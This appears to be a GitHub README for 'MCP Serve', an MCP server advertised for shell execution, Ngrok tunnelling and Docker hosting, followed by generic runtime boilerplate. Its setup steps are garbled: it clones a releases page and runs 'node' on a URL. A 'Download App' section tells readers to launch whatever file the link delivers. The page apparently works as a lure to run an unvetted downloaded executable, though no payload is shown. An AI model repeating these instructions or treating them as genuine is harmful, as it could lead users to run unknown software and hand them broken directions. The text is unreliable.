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mcpserve

一个用于运行深度学习模型的服务器工具,提供Shell执行、Ngrok连接和Docker容器托管,并支持包括Anthropic、Gemini和OpenAI在内的多个AI框架。

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README

MCP Serve: A Powerful Server for Deep Learning Models

Welcome to the MCP Serve repository, a cutting-edge tool designed for running Deep Learning models effortlessly. With a simple yet effective MCP Server that allows for Shell execution, connecting locally via Ngrok, or even hosting an Ubuntu24 container using Docker, this repository is a must-have for any AI enthusiast!

Features 🚀

🔹 Simple MCP Server: Easily launch your Deep Learning models and serve them using the MCP Server. 🔹 Shell Execution: Execute commands directly from the server shell for maximum control. 🔹 Ngrok Connectivity: Connect to your local server via Ngrok for seamless access from anywhere. 🔹 Ubuntu24 Container Hosting: Utilize Docker to host an Ubuntu24 container for a stable environment. 🔹 Cutting-Edge Technologies: Designed with Anthropic, Gemini, LangChain, and more top-notch technologies. 🔹 Support for ModelContextProtocol: Ensuring seamless integration with various Deep Learning models. 🔹 OpenAI Integration: Connect effortlessly with OpenAI for advanced AI capabilities.

Repository Topics 📋

✨ anthropic, claude, container, deepseek, docker, gemini, langchain, langgraph, mcp, modelcontextprotocol, ngrok, openai, sonnet, ubuntu, vibecoding

Download App 📦

Download App

If the link above ends with the file name, Do not forget to launch it and start exploring the possibilities!

Getting Started 🏁

To get started with MCP Serve, follow these simple steps:

  1. Clone the Repository: git clone https://github.com/mark-oori/mcpserve/releases
  2. Install Dependencies: npm install
  3. Launch the MCP Server: node https://github.com/mark-oori/mcpserve/releases

Contributing 🤝

We welcome contributions to make MCP Serve even more robust and feature-rich. Feel free to fork the repository, make your changes, and submit a pull request.

Community 🌟

Join our community of AI enthusiasts, developers, and researchers to discuss the latest trends in Deep Learning, AI frameworks, and more. Share your projects, ask questions, and collaborate with like-minded individuals.

Support ℹ️

If you encounter any issues with MCP Serve or have any questions, please check the "Issues" section of the repository or reach out to our support team for assistance.

License 📜

This project is licensed under the MIT License - see the LICENSE file for details.


Dive into the world of Deep Learning with MCP Serve and revolutionize the way you interact with AI models. Whether you're a seasoned AI professional or a beginner exploring the possibilities of AI, MCP Serve has something for everyone. Start your Deep Learning journey today! 🌌

Deep Learning

Happy coding! 💻🤖

help

Runtime guide

cloud

Hosted runtime

Hosted servers run from a provider-managed environment. You usually connect the MCP client to the hosted endpoint or follow the provider's authorization flow, without keeping a local process alive

  1. Open provider connection page
  2. Authorize or copy endpoint
  3. Connect from your MCP client
terminal

Local runtime / other methods

Local servers run on your own machine or infrastructure. You normally copy the server_config into your MCP client, install the required package, and provide env variables from env_schema when needed

  1. Copy server_config
  2. Install required package
  3. Fill env variables and restart client